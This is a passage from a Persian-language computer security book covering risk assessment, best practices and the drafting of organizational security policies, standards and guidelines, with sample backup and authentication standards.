در چنین محیطی، یکپارچگی، کنترل، و بازبینی، از اصول بسیار مهم و حیاتی هستند؛ و محرمانگی و در دسترس بودن در درجهٔ بعدی قرار دارند.

محیط نظامی

در یک سیستم دفاعی ملی که حاوی اطلاعات طبقه‌بندی‌شده است، محرمانگی در اولین درجهٔ اهمیت قرار

---

۷۱ *مراجعه کنید به رویکرد COBIT در راهبردهای امنیتی:*
http://www.isaca.org/cobit.htm

72 *Confidentiality*
73 *Integrity*
74 *Availability*
75 *Consistency*

دارد و در دسترس بودن در درجهٔ آخر. در برخی از محیطهای بسیار طبقه‌بندی شده ممکن است مقامات رسمی ترجیح دهند که یک ساختمان را منفجر کنند تا اجازه نداده باشند اطلاعات بدست مهاجمین بیافتد.

محیط دانشگاهی

در چنین محیطی، یکپارچگی و در دسترس بودن اطلاعات مهمترین نیازمندیها هستند. حصول اطمینان از در دسترس بودن اطلاعات در زمانیکه دانشجویان به آنها نیاز دارند به مراتب مهمتر از این است که راهبران بتوانند زمان استفادهٔ دانشجویان از حسابهای کاربری خود را تشخیص دهند.

اگر یک راهبر امنیت هستید باید نیازهای محیط عملیاتی و کاربران را بشناسید و سپس بر مبنای آن روالهای خود را تعریف کنید. ناگفته پیداست که مطالب مشروح در این کتاب لزوماً برای تمامی محیطها مناسب نیستند.

اعتماد

متخصصین امنیت معمولاً سیستمهای رایانه‌ای را با عناوین "امن" و "ناامن" خطاب نمی‌کنند؛ بلکه کلمهٔ "اعتماد" را برای توضیح سطح اطمینان مورد انتظار از یک سیستم رایانه‌ای بکار می‌برند. دلیل این مسئله این است که امنیت مطلق هیچگاه نمی‌تواند بدست آید. تنها می‌توانیم با ایجاد اعتماد کافی در پیکربندی کلی و تضمین استفاده از آن برای برنامه‌های مورد نظر به امنیت مطلق نزدیک شویم. ایجاد اعتماد کافی در سیستمهای رایانه‌ای مستلزم تفکر و برنامه‌ریزی دقیق است. تصمیمات عملیاتی و درصورت امکان سیاستهای کلی باید بر اساس ارزیابی مخاطره اتخاذ گردند و برای این منظور استفاده از توصیه‌های تخصصی بسیار حائز اهمیت است:

اگر شما در یک شرکت، دانشگاه یا سازمان دولتی بزرگتر کار می‌کنید، پیشنهاد می‌کنیم که با بخشهای ممیزی داخلی یا مدیریت مخاطرهٔ شرکت برای دریافت کمکهای لازم ارتباط برقرار نمایید (آنها ممکن است از طرحها و سیاستهایی استفاده کنند که لازم باشد از آنها مطلع شوید). همچنین می‌توانید با مراجعه به منابع معرفی‌شده در بخش ضمائم، در خصوص این موضوع مطالب بیشتری بیاموزید. ممکن است بخواهید از یک مؤسسهٔ مشاور طلب همکاری کنید. بعنوان مثال بسیاری از شرکتهای حسابداری و ممیزی دارای تیمهای متشکل از متخصصین هستند که می‌توانند امنیت نصبهای رایانه را ارزیابی کنند.

اگر شما با یک شرکت کوچکتر همکاری می‌کنید یا با رایانه‌های شخصی سر و کار دارید، ممکن است دارای بخش تخصصی امنیت نباشید. در اینحالت پیشنهاد می‌شود بخش دوم کتاب را به دقت مطالعه نمایید. ممکن است تصور کنید که این کتاب بیش از میزان احتیاج شما وارد جزئیات شده، اما اطلاعات موجود در این فصول به شما در تنظیم اولویتهایتان کمک شایانی خواهد کرد.

تحلیل سود و زیان و الگوهای سرآمدی

بعد از اتمام ارزیابی مخاطره، فهرستی طولانی از مخاطرات را پیش روی خود دارید – بسیار بیش از مقداری که بتوانید به همهٔ آنها بپردازید یا با تمام آنها مقابله کنید. چون زمان و پول محدود هستند، اکنون شما به یک روش درجه‌بندی برای این مخاطرات نیاز دارید تا بتوانید تصمیم بگیرید که می‌خواهید آثار و احتمال کدام مخاطرات را از طریق ابزارهای فنی کاهش دهید، در مقابل کدامها از بیمه استفاده کنید، و وقوع چه مواردی را صرفاً بپذیرید. بطور سنتی تصمیم‌گیری در مورد اینکه با کدام مخاطره باید مقابله کرد و کدامیک را باید پذیرفت با استفاده از یک تحلیل سود و زیان – تخصیص هزینه به هر زیان احتمالی؛ تعیین هزینهٔ مقابله با آن، تعیین احتمال وقوع هر مخاطره، و سپس تعیین اینکه آیا هزینهٔ مقابله با آن از مزایای پیشگیری بیشتر است یا نه – انجام می‌شود.

ارزیابی مخاطره و تحلیل سود و زیان اعداد زیادی بوجود می‌آورند که باعث می‌شود فرآیند کاملاً علمی و منطقی بنظر بیاید، اما در عمل جمع‌آوری و کنار هم قراردادن این اعداد ممکن است بسیار وقتگیر و پرهزینه باشد و نتیجهٔ حاصله نیز تنها اعداد غیردقیق هستند. ارزیابی مخاطره به توانایی اندازه‌گیری استفادهٔ مورد انتظار از یک دارائی، تخمین احتمال مخاطره برای آن دارائی، شناسایی عواملی که احتمال وقوع مخاطرات را بیشتر می‌کنند، و محاسبه تأثیر بالقوهٔ هر انتخاب – شاخصهایی که بدست آوردن آنها بسیار دشوار است – بستگی دارد. چگونه مخاطرهٔ یک مهاجم را که خواهد توانست امتیازات راهبری سیستم شما را بدست گیرد محاسبه

می‌کنید؟ آیا این مخاطره با گذشت زمان و کشف آسیبهای جدید افزایش می‌یابد، یا با گذشت زمان و اصلاح آسیبها کاهش می‌یابد؟ آیا سیستمی که بخوبی مورد مراقبت قرار دارد با گذشت زمان ایمن‌تر می‌شود یا ناامن‌تر؟ و چگونه خسارتهای تقریبی یک نفوذ موفق را محاسبه می‌کنید؟ متأسفانه مطالعات علمی و آماری اندکی در مورد این مسائل انجام شده است. افراد بیشماری فکر می‌کنند که پاسخ این سؤالات را می‌دانند؛ اما محققان نشان داده‌اند که بیشتر افراد بر اساس تجربهٔ شخصی قادر به تخمین صحیح مخاطرات و احتمال وقوع آنها نیستند.

به علت مشکلات ذاتی روش ارزیابی مخاطره، در سالهای اخیر رویکرد دیگری برای برقراری امنیت رایانه بوجود آمده که *الگوهای سرآمدی*[۷۶] یا *مراقبت دقیق*[۷۷] نام دارد. این رویکرد شامل مجموعه‌ای از پیشنهادات، روالها و سیاستهایی است که بطور معمول در جوامع محققان امنیتی تائیدشده که سازمانها را به سطح قابل قبولی از امنیت عمومی می‌رساند و مخاطرات را با هزینهٔ معقولی کاهش می‌دهد. می‌توانید الگوهای سرآمدی را "بدیهیات پیاده‌سازی منطقی تدابیر امنیتی" بدانید.

استفاده از الگوهای سرآمدی هم مشکلات خود را دارد. بزرگترین مشکل این است که هیچ مجموعه‌ای از الگوهای سرآمدی وجود ندارد که برای تمام محیطها و کاربران مناسب باشد. الگوهای سرآمدی برای یک پایگاه وب که اطلاعات مالی را مدیریت می‌کند ممکن است شباهتهایی به الگوهای سرآمدی پایگاه وب یک خبرنامهٔ اجتماعی داشته باشد؛ اما به احتمال زیاد پایگاه وب حاوی اطلاعات مالی، نیاز به اقدامات امنیتی بیشتری خواهد داشت.

دنبال کردن الگوهای سرآمدی نمی‌تواند تضمین کند که سیستم شما با مشکل امنیتی روبرو نخواهد شد. در غالب الگوهای سرآمدی، بخش امنیت سازمان باید اینترنت را برای اخبار حملات جدید و download کردن وصله‌های ارائه‌شده توسط فروشندگان محصولات نرم‌افزاری بررسی نماید. اما حتی اگر شما از این ساختار نیز پیروی کنید، مهاجمان همچنان ممکن است برای تسخیر سیستم رایانه‌ای شما از شیوهای نادانستهٔ تازه و منتشرنشده استفاده کنند. حال اگر اطلاعات شما از اخبار جدید کم باشد و یا شخصی که مسئول بررسی فهرستهای پست الکترونیکی است در سفر باشد، مهاجم از شما پیشی خواهد گرفت.

این تفکر که دهها هزار سازمان می‌توانند یا باید الگوهای سرآمدی موجود را برای امنیت رایانه‌هایشان پیاده‌سازی کنند مشکل آفرین است، چراکه الگوهای سرآمدی موجود برای تمامی سازمانها مناسب و به‌صرفه نیستند.

بسیاری از سازمانهایی که مدعی هستند از الگوهای سرآمدی پیروی می‌کنند در حقیقت از حداقل استانداردها برای امنیت دستگاههای خود استفاده می‌نمایند؛ و در عمل، الگوهای سرآمدی و یا بعبارتی راهکارهای بهینه هم خود واقعاً بهینه نیستند!

توصیهٔ ما ترکیبی از دو رویکرد ارزیابی مخاطره و الگوهای سرآمدی است. با شروع از بدنهٔ یک مجموعه از الگوهای سرآمدی، یک طراح آگاه باید مخاطرات را ارزیابی کند، و برای هر حالت خاص سیستم یک راه‌حل معقول ارائه نماید. برای مثال سرویس‌دهنده‌ها باید روی دستگاههای مجزا قرار داشته باشند و از طریق سیستم‌عامل و نرم‌افزارهایی پیکربندی شوند که حداقل قابلیتهای امنیتی روی آنها فعال است. متصدیان باید در خصوص تغییرات آگاه باشند، با وصله‌ها خود را به روز نگهدارند، و منتظر حوادث غیرمنتظره باشند. انجام صحیح این موارد نیاز به درک عمیقی از چگونگی عملکرد سیستم و دلایل عملکرد ناصحیح آن دارد. این رویکردی است که در بخشهای بعدی این کتاب دنبال می‌شود.

76 *Best Practices*
77 *Due Care*

فصل پنجم
پیشگیری و سیاست امنیت سازمانی

کلیات

این فصل بطور کامل به تشریح سطوح مختلف سیاست امنیتی می‌پردازد؛ که در آن هر کارمند سازمان در امنیت رایانه‌ها، شبکه‌ها و اطلاعات نقشی برای ایفا کردن دارد. فهرستهای کنترل مدیریتی که در این قسمت مورد اشاره قرار گرفته‌اند را می‌توانید در فصول انتهایی همین بخش از کتاب بیابید.

امنیت در یک سازمان درحال فعالیت

امنیت رایگان نیست. هر چقدر که معیارهای امنیتی شما گسترده‌تر شوند، به همان میزان هزینهٔ آنها بالاتر خواهد رفت. استفاده از سیستمهایی که از امنیت بالاتری بهره می‌برند معمولاً دشوارتر است. همچنین امنیت ممکن است از جانب کاربران قدرتمند – که می‌خواهند فعالیتهای سخت و بعضاً خطرناکی انجام دهند اما غالباً مجاز به انجام آن نیستند و در قبال پیامدهای آن نیز پاسخگو نمی‌باشند – مورد تهدید واقع شود. بعضی از این کاربران ممکن است در سازمان از قدرت سیاسی بهره‌مند باشند. از طرف دیگر، بعضی از سازمانها ممکن است احساس کنند که تأمین امنیت سازمان در یک سطح مناسب بسیار پرخرج می‌باشد و به همین دلیل بدون صرف وقت برای ارزیابی هزینه‌های واقعی این خطرات و بدون توجه به ملاحظات امنیتی فعالیت خود را ادامه دهند. در انتهای بخش سوم مجموعه‌ای از فهرستهای کنترل ارائه شده‌اند که گامهای لازم برای حصول اطمینان از تأمین حداکثر ایمنی در سطوح مختلف را با توجه به محدودیتهای زمانی، پرسنلی و مالی تشریح می‌کنند.

پس از اتمام ارزیابی مخاطره و تحلیل سود و زیان، شما باید مدیریت سازمان را متقاعد کنید که طبق برنامه عمل نمایند. در حالت عادی برای اینکار یک سیاست تدوین می‌شود که باید رسماً مورد تبعیت قرار گیرد. معمولاً انجام این فرآیند یک پیکار دشوار است. هدف از انجام ارزیابی مخاطره و تحلیل سود و زیان اولویت‌بندی اقدامات و نحوهٔ صرف هزینه‌های امنیتی شما است. اگر برنامهٔ تجاری شما طوری باشد که طبق آن نباید در طول سال مخاطرهٔ بیمه‌نشده‌ای داشته باشید که هزینهٔ آن از یک مقدار مشخص بالاتر باشد، می‌توانید از ارزیابی مخاطره استفاده کنید تا متوجه شوید برای رسیدن به این هدف باید چه هزینه‌هایی را متحمل شوید. این ارزیابی همچنین می‌تواند شما را راهنمایی کند که کدام گام را اول و کدام گام را دوم بردارید، و چه کارهایی را به سالهای بعد موکول کنید. یک فایدهٔ دیگر ارزیابی مخاطره این است که مدیریت شرکت متقاعد می‌شود که شما برای برقراری امنیت نیاز به منابع بیشتری دارید.

غالب مدیران دربارهٔ رایانه‌ها اطلاعات مختصری دارند، ولی ارزیابی مخاطره و تحلیل سود و زیان را درک می‌کنند. اگر بتوانید نشان دهید که سازمان درحال حاضر با مخاطره‌ای مواجه است که می‌تواند باعث هزینه‌های سالانهٔ زیادی شود (برای این منظور مجموع خسارتها و هزینهٔ تعمیرات همهٔ آنچه هم‌اکنون مورد استفاده قرار دارد را محاسبه کنید)، آنگاه ممکن است این برآورد مدیریت را متقاعد کند که برای اجتناب از وقوع مخاطرات، روی منابع و کارکنان سرمایه‌گذاری بیشتری نمایند.

از طرف دیگر اگر با سخنان مبهمی مثل "احتمال زیادی وجود دارد که بعد از اعلامیهٔ بعدی CERT/CC روی اینترنت نفوذهای متعددی رخ دهد" به مدیریت مراجعه کنید، بسیار بعید است که نتیجه‌ای جز یک نگرانی بسیار ملایم (آن هم تنها در بعضی موارد) به بار بیاید!

نقش سیاستهای امنیتی

سیاست امنیتی به تعریف سرمایه‌های سازمان کمک می‌کند و نیز گامهایی که لازم است برای حفاظت از این سرمایه‌ها برداشته شود را مشخص می‌نماید.

سیاستهای امنیتی را به چند روش متفاوت می‌توان تدوین کرد. می‌توانید یک سیاست کلی بسیار سادهٔ چند صفحه‌ای بنویسید که بیشتر احتمالات را درنظر گرفته باشد. همچنین می‌توانید برای هریک از دارائیهای مختلف یک سیاست

خاص تدوین کنید؛ مثل سیاست پست‌الکترونیکی، سیاست داده‌های کارکنان و سیاست اطلاعات حسابهای کاربری. سومین رویکردی که بسیاری از شرکتها از آن بهره جسته‌اند و برای تمامی شرکتها با اندازه‌های مختلف قابل اجرا است داشتن سیاستها، استانداردها و خط‌مشی‌های ساده و مختصر است که با الگوهای سرآمدی بهبود یافته‌اند. در ادامه، رویکرد آخر را بطور خلاصه تشریح خواهیم کرد و منابع بیشتر در این رابطه نیز در بخش مراجع معرفی شده‌اند.

سیاست سه نقش عمده ایفا می‌کند. اول مشخص می‌کند از چه چیزی حفاظت می‌شود و چرا؛ دوم اینکه مسئولیت مربوط به تأمین این حفاظت را مشخص می‌نماید؛ و سوم اینکه زمینه‌ای برای تفسیر و حل درگیریهایی که ممکن است در آینده بوجود بیاید ارائه می‌دهد. آنچه که در سیاست نباید بیاید عبارت است از فهرست تهدیدها، ماشین‌آلات و افراد (با نامهایشان). سیاست باید کلی باشد و در طول زمان بندرت دچار تغییر شود.

استانداردها

از استانداردها برای معرفی راهکارهای موفقیت‌آمیز امنیت در یک سازمان استفاده می‌شود و در عبارتهای آن معمولاً از فعل "باید" استفاده می‌گردد. استانداردها عموماً مستقل از بسترهای مختلف فنی تهیه می‌شوند و حداقل یک معیار برای تعیین اینکه آیا رعایت شده‌اند یا نه را معرفی می‌نمایند. استانداردها برای پشتیبانی از سیاست پدید آمده‌اند و در طول زمان به آهستگی تغییر می‌کنند. استانداردها ممکن است دربرگیرندهٔ مطالبی باشند مانند اینکه استخدامهای جدید باید چگونه انجام شوند، از نسخهٔ پشتیبان باید تا چه مدتی نگهداری بعمل آید، و اینکه سیستمهای UPS چگونه مورد آزمایش قرار می‌گیرند.

بعنوان مثال یک استاندارد در مورد نسخه‌های پشتیبان را درنظر بگیرید. ممکن است در آن اینگونه آمده باشد:

> پشتیبانها باید از تمام داده‌های اینترنتی و نرم‌افزاری و بر اساس یک برنامهٔ منظم زمانی تهیه شوند. در هیچ صورتی عملیات عادی پشتیبان‌گیری نباید کمتر از یکبار در هر هفتاد و دو ساعت انجام شود. همهٔ پشتیبانها باید حداقل برای یک دورهٔ شش ماهه حفظ شوند؛ و از اولین پشتیبان ماههای ژانویه و ژوئن هر سال در یک محل امن در خارج از سازمان برای همیشه مراقبت به عمل می‌آید. حداقل یک هفته در میان باید یک پشتیبان کامل از کل سیستم تهیه شود. همهٔ رسانه‌های پشتیبان‌گیری باید در نوع خود واجد استانداردهای پذیرفته‌شدهٔ صنعتی باشند تا حداقل بعد از پنج سال باقی‌ماندن در یک انبارِ بدون مراقب، اطلاعات روی آنها باز هم قابل بازیابی باشد.

این استاندارد نام هیچ مکانیزم پشتیبان‌گیری یا بستهٔ نرم‌افزاری خاص را ذکر نمی‌کند؛ هرچند آن چیزی که باید ذخیره شود و اینکه برای چه مدت باید ذخیره گردد و چند وقت یکبار باید اینکار انجام گیرد را بوضوح عنوان می‌نماید.

یک استاندارد معقول برای تصدیق هویت را درنظر بگیرید:

> در یک رایانهٔ چندکاربره هر حساب کاربری باید تنها یک کاربر مجاز برای استفاده داشته باشد. آن کاربر باید هویت خود را با استفاده از یک نشانهٔ تأییدکننده برای سیستم اثبات نماید. اثبات هویت برای رایانه را می‌توان بوسیلهٔ یک *نشان تصدیق هویت*[78]، یک *کارت هوشمند*[79]، یک رمز عبور یکبار مصرف، یا یک *معیار زیستی*[80] تأییدشده صورت داد. در هیچ دستگاه رایانه‌ای که تاکنون به شبکه وصل شده، قابل حمل به خارج از شرکت بوده، یا بیرون از دفتر خصوصی مورد استفاده قرارگرفته، نباید از رمزهای عبور تکرارشدنی بعنوان مکانیزم اصلی تصدیق هویت استفاده کرد.

راهبردها

راهبردها (خط‌مشی‌ها) اسنادی هستند که معمولاً در آنها فعل "بهتر است" بکار می‌رود. هدف راهبردها تفسیر استانداردها برای یک محیط خاص- یک محیط نرم‌افزاری یا یک محیط فیزیکی – می‌باشد. برخلاف استانداردها، راهبردها درصورت نیاز تغییر می‌کنند. این اجزای سیاست، همانطور که از نامشان پیداست، معمولاً مثل استانداردهای کارایی مورد استفاده قرار نمی‌گیرند، بلکه بصورت راههایی که به انجام کار کمک می‌کنند بکار می‌روند.

ذیلاً یک نمونه راهبرد در مورد نسخه‌های پشتیان آمده است:

78 *Authentication Token*
79 *Smart Card*
80 *Biometric*

پشتیبانها در ماشینهای مبتنی بر یونیکس باید با استفاده از برنامهٔ "dump" تهیه شوند. تهیهٔ پشتیبان از سیستمهایی که در ۲۴ ساعت شبانه‌روز از آنها استفاده نمی‌شود باید در طول شب و در حالت تک‌کاربره انجام شود. تهیهٔ پشتیبان از سیستمهایی که ۲۴ ساعته درحال فعالیت هستند باید در زمان نزدیکترین تغییر شیفت کاری به نیمه‌شب صورت بگیرد (زمانی که بار کاری سیستم از همیشه کمتر است). تمام نسخه‌های پشتیبان بلافاصله پس از نوشته شدن باید مجدداً خوانده شوند تا صحت اطلاعات نوشته‌شده به تأیید برسد.

در اولین پشتیبان‌گیری ماههای ژانویه و ژوئن، *پشتیبان سطح صفر*[81] تهیه می‌شود. پشتیبان‌گیری سطح ۳ باید در اول و پانزدهم هر ماه صورت بگیرد. پشتیبان‌گیری سطح ۵ باید شبهای هر دوشنبه و پنج‌شنبه انجام شود، مگر اینکه پشتیان سطح صفر یا ۳ در همانروز انجام شده باشد. پشتیبان سطح ۷ باید یک شب در میان تهیه شود، مگر در ایام تعطیلات.

راهبر سیستم در هر هفته یک فایل را بصورت تصادفی از یک پشتیبان که در همان هفته تهیه شده انتخاب می‌کند تا کارمند بخش پشتیبان‌گیری برای کسب اطمینان از عملکرد صحیح روالهای تهیهٔ نسخهٔ پشتیبان، آن فایل را از روی پشتیبانها بازیابی کند.

راهبردها برای معماریهای خاص و دستگاههای ویژه تهیه می‌شوند؛ و نسبت به استانداردها در بازه‌های کوتاهتری تغییر می‌کنند تا بتوانند شرایط متغیر را بصورت صحیح منعکس کنند.

نکات کلیدی در تدوین یک سیاست کارآ

نقش سیاست (و استانداردها و راهبردهای مربوطه) کمک به حفاظت از مواردی است که رویهمرفته برای شما مهم تلقی می‌شوند. در بیشتر موارد لزومی ندارد سیاستی که بکار می‌رود ویژه و پیچیده باشد. گاهی اوقات یک قانون ساده برای تمام سیاست محیط شما کافی است، مانند مثال زیر:

استفاده و حفاظت از این سیستم وظیفهٔ همه می‌باشد. تنها کارهایی انجام دهید که مایلید دیگران هم آنرا انجام دهند. به حریم خصوصی کاربران دیگر احترام بگذارید. چنانچه با مشکلی روبرو شدید سعی کنید آنرا یا خودتان رفع کنید و یا سریعاً گزارش نمایید. به قوانین مربوط به کاربرد سیستم احترام بگذارید. مسئولیت کارهای خود را بپذیرید و همیشه خود را معرفی کنید. از کارتان لذت ببرید.

گاهی اوقات نیز لازم است یک سیاست رسمی‌تر که توسط یک متخصص رسمی و چند مشاور امنیتی بازبینی شده را برای حفاظت از دارائیهایتان بکار برید. سیاست هر سازمان با سازمان دیگر تفاوت دارد؛ چراکه همواره برای هر سازمان ملاحظات خاصی وجود دارد که لازم است بطور مجزا در سیاستهای تدوین‌شده مورد اشاره قرار گیرند.

تخصیص یک مسئول

هر جزء اطلاعات و تجهیزات که باید مورد محافظت قرار گیرد باید یک مسئول معین داشته باشد. "مسئول" کسی است که در قبال نسخه‌برداری، از بین رفتن، پشتیبان‌گیری و سایر جنبه‌های حفاظت از اطلاعات مسئولیت دارد. او همچنین یکی از کسانی است که مجاز است به اطلاعات دسترسی داشته باشد.

مشکل امنیت در بسیاری از سازمانها این است که اطلاعات مهمی وجود دارد که مسئول مشخصی ندارد. درنتیجه کاربران نمی‌دانند چه کسی دربارهٔ ذخیره‌سازی اطلاعات تصمیم می‌گیرد یا چه کسی ضوابط دسترسی به اطلاعات را تدوین می‌نماید. بعضی اوقات اطلاعات (و همچنین تجهیزات) بدون اینکه کسی متوجه شود برای مدتی طولانی ناپدید می‌شوند؛ چراکه کسی مسئول آنها نیست که شرایط را کنترل کند.

مثبت باشید

افراد به جملات مثبت و اثباتی بهتر از جملات منفی و عبارات نفی‌کننده واکنش نشان می‌دهند. بجای تهیه لیستهای طویل از عبارتهای "اینکار را انجام ندهید"، ببینید که چگونه می‌توانید همان ضوابط را بصورت مثبت جمله‌بندی نمایید. سیاست خلاصهٔ قبلی را می‌توان بصورت مجموعه‌ای از "نبایدها" مطابق زیر تهیه کرد؛ اما ببینید که همان

81 *Level 0 dump*

عبارتهای قبلی چقدر راحت‌تر خوانده می‌شدند:

> این وظیفهٔ شماست که اجازه ندهید از سیستم استفادهٔ نادرست بشود. کارهایی که دوست ندارید دیگران انجام دهند را انجام ندهید. حریم خصوصی دیگران را خدشه‌دار نکنید. اگر مشکلی پیدا کردید و نتوانستید آنرا برطرف کنید، مشکل را مخفی نگه ندارید. قوانین مربوط به استفاده از سیستم را نقض ننمایید. سعی نکنید مسئولیت کارهای خود را به گردن دیگران بیندازید؛ و هویت خود را نیز پنهان ننمایید. امیدواریم اوقات بدی نداشته باشید!

وقتی سیاستها را می‌نویسید، همواره رفتار کاربران را در ذهن خود داشته باشید. آنها دچار اشتباه می‌شوند و از نکات، تعبیرِ نادرست می‌کنند. سیاست شما نباید طوری باشد که درصورت اشتباه کاربران، آنان را مستحق هر مجازاتی بداند.

از این گذشته درنظر بگیرید که سیستمهای اطلاعاتی ممکن است شامل داده‌هایی در مورد کاربران باشند و کاربران بخواهند تا حدودی آن اطلاعات را خصوصی نگهدارند. این اطلاعات خصوصی می‌تواند شامل نامه‌های الکترونیکی، سوابق شخصی و ارزشیابیهای شغلی باشد. پس این اطلاعات نیز باید مورد محافظت قرار گیرند؛ هرچند شاید نتوانید خصوصی ماندن آنها را تضمین کنید. خلاصهٔ مطلب اینکه از نیازها و احساسات کاربران غافل نشوید.

بر آموزش و آگاهی تمرکز کنید

می‌توانید استانداردها را در برنامهٔ آموزش و بازآموزی کلیهٔ کاربران قرار دهید. هر کاربر باید آگاهی اولیه‌ای در مورد امنیت داشته باشد، و سپس آن مطالب باید در یک برنامه و قالب مشخص برای وی یادآوری شوند (حتی اگر برنامهٔ یادآوری تنها شامل ارائه نسخه‌ای از این کتاب به کارکنان باشد!). احتمال گرفتارشدن کاربران آموزش‌دیده در ترفندها و خصوصاً حملات مهندسی اجتماعی کمتر است. همچنین اگر کاربران بدانند که هریک از معیارهای امنیتی چرا مورد استفاده قرار گرفته‌اند، در آنصورت احتمال بیشتری وجود خواهد داشت که از آنها احساس رضایت کنند و هریک را بدرستی اجرا نمایند.

یک بخش حیاتی هر سیستمِ امنیت، اعطای زمان و فراهم کردن پشتیبانی برای تحصیل و آموزش بیشتر کارکنان است. همواره ابزارهای نو، تهدیدات جدید، روشهای نوین، و اطلاعات تازه برای یادگیری وجود دارد. اگر کارمندان هفته‌ای ۶۰ ساعت صرف یافتن ویروسهای خیالی رایانه‌های شخصی و تهیهٔ نسخه‌های پشتیبان کنند، بازهم به اندازهٔ کارمندانی که سالانه تنها به مدت چند هفته تحت آموزش قرار می‌گیرند کارآیی ندارند. از این گذشته اگر به آنها فرصت ترقی و یادگیری در طول مدت کار داده شود و اجازه داشته باشند بجای نصب نرم‌افزارها و پشتیبان‌گیری، عصر هر روز و تعطیلات آخر هفته را با خانواده‌هایشان سپری کنند، از کارهایشان خرسندتر و راضی‌تر خواهند بود.

اختیارات را متناسب با مسئولیتها توزیع کنید. یک اصل در راهبری امنیت می‌گوید:

اگر مسئولیتی در رابطه با امنیت دارید ولی اختیاری برای قانونگذاری و تنبیه متخلفین به شما داده نشده است، هنگام وقوع یک مشکل بزرگ این شما هستید که سرزنش می‌شوید.

هر چند اصل بالا در بیشتر موارد برقرار است، اما مسئولیت واقعی متوجه کسی است که اختیارات را متناسب با مسئولیتها توزیع نکرده است.

این بخش شامل فهرستهای کنترل مدیران و کارکنانی است که مسئولیت امنیت با آنها است. در این بخش به عوامل مهم طرح امنیت هر سازمان شامل ارتباطات، آگاهی، آموزش و سرمایه‌گذاری مناسب برای حمایت از طرح می‌پردازیم.

مطمئن شوید که محیط امنیتی خود را می‌شناسید

هنگامیکه سیاست خود را تدوین می‌نمایید، باید اطمینان حاصل کنید که انواع مختلف سیستمها، شبکه‌ها، کارکنان و رسانه‌های ذخیره‌سازی موجود در محیط امنیتی خود را می‌شناسید و همهٔ آنها را درنظر گرفته‌اید. این شناخت، آنچه باعث نگرانی شماست را تعریف می‌کند. وقتی سیاستها را تدوین می‌کنید، باید اطمینان حاصل کنید که تمام آنچه که در محیط شماست و یا می‌تواند به محیط شما وارد شود و با منابع اطلاعاتی شما تعامل داشته باشد را از قلم نیانداخته‌اید. بسیاری از سازمانها در سالهای گذشته محیط امنیت فناوری اطلاعات خود را با همان مرزهای بوجودآمده بوسیلهٔ دیوارها و نرده‌ها تعریف می‌کردند؛ اما امروزه محیطهای سازمانی

بندرت اینقدر ایستا هستند.

هنگام تدوین سیاستهای خود باید نکاتی مثل موارد زیر را درنظر بگیرید:

- هنگامیکه از موقعیت فیزیکی خود دور هستید می‌توانید برای دستیابی به اطلاعات از رایانه‌های قابل حمل و PDAها استفاده کنید. این وسایل می‌توانند اطلاعات حساسی مثل آدرسهای IP، شماره‌های تلفن و رمزهای عبور را در خود ذخیره کنند. این سیستمها باید دارای امنیت حداقلی باشند؛ مثلاً با استفاده از رمزگذاری و یا حداقل نشانهایی برای برقراری امنیت فیزیکی. کاربران باید در رابطه با خطرات دزدی و استراق‌سمع آگاه و آموزش‌دیده باشند.

- شبکه‌های بی‌سیم که در ساختمانها مورد استفاده قرار می‌گیرند یا به تجهیزات سایت متصل می‌شوند، می‌توانند با استفاده از آنتنهای جهتدار یا پارک کردن یک ماشین خارج از ساختمان و استفاده از یک رایانهٔ کیفی در داخل ماشین مورد استفادهٔ افراد بیرونی قرار بگیرند. شبکه‌های بی‌سیم باید طوری پیکربندی و حفاظت شوند که اطلاعات حساس آنها در خارج از سایت قابل شناسایی نباشند و از ورود قطعه‌برنامه‌های مخرب مهاجمین به آنها جلوگیری گردد.

- رایانه‌هایی که توسط کارکنان سازمان در منازل مورد استفاده قرار می‌گیرند ممکن است در معرض خطر نفوذ، دزدی، و ورود قطعه‌برنامه‌های مخرب باشند و همچنین ممکن است برخلاف سیاستهای سازمان مورد استفاده قرار گیرند (مثلاً برای راه‌اندازی یک تجارت مستقل و یا میزبانی یک سرویس‌دهندهٔ وب با محتویات سؤال برانگیز). سیاست باید مشخص کند که این رایانه‌ها چگونه باید مورد استفاده، حفاظت و بازبینی قرار گیرند.

- رسانهٔ ذخیره‌سازی معمولاً قابل حمل و فشرده است. اگر کسی یک نسخه از سوابق مالی شرکت را برای استفاده در یک سایت راه دور روی دیسک فشرده یا DVD بریزد، درصورت دزدیده یا جابجا شدن آن رسانه چه اتفاقی خواهد افتاد؟ سیاستها باید مشخص کنند که چه کسی می‌تواند یک رسانه را به بیرون از محوطه ببرد، با چه روشهایی باید از این اطلاعات محافظت کرد (که این امر شامل رمزگذاری هم می‌شود) و اگر آن رسانه دزدیده یا گم شود چه اقداماتی باید انجام داد. همچنین لازم است بطور مشروح بیان شود رسانه‌ای که قبلاً مورد استفاده قرار گرفته چگونه باید از بین برود تا احتمال خطرهای ناشی از افشای اطلاعات روی آن کاهش یابد.

و سعی کنید برای پرسشهای زیر پاسخهای مناسبی داشته باشید:

- کدام سیاستها به کسانی می‌پردازند که PDAها و رایانه‌های کیفی خود را برای ملاقاتها و یا صرفاً در بازدیدها به محل کار می‌آورند؟ ضوابط اتصال آنها به شبکه‌ها، خطوط تلفن، چاپگرها و سایر ابزارهای محل کار چیستند؟

- چه ملاحظاتی برای حمل رایانه‌ها یا تجهیزات ذخیرهٔ اطلاعات به خارج از محل کار (مثلاً برای تعمیرات) اتخاذ شده است؟ اگر روی دیسکها اطلاعات حساس وجود داشته باشد چه خواهد شد؟ در مورد تجهیزات اجاره‌ای که مجدداً به صاحبانشان عودت داده می‌شوند چه راهبردی اتخاذ شده است؟

- اگر شرکای تجاری یا پیمانکاران به وسایل شما دسترسی داشته باشند – خواه در محل کار شما یا محل کار خودشان – چه کسی از اطلاعات حفاظت خواهد کرد؟ چگونه از اختلاط ناخواستهٔ داده‌های حساس خود با داده‌های آنها جلوگیری می‌کنید؟

- چه سیاستهایی به اطلاعاتی که تحت گواهی "اسرار تجاری" برای سازمان شما فرستاده شده‌اند می‌پردازند؟ چه کسی مسئول حفاظت از اطلاعات است و کجا می‌توان از آن اطلاعات نگهداری کرد؟

- چه سیاستهایی بر تجهیزات غیررایانه‌ای پردازش اطلاعات حاکم هستند؟ بعنوان مثال چه سیاستهایی برای استفاده از چاپگرها، دستگاههای کپی و ماشینهای دورنگار تدوین شده‌اند؟ (توجه داشته باشید که اطلاعات حساسِ کاغذی نسبت به اطلاعات حساس رایانه‌ای از اهمیت یکسانی برخوردار است)

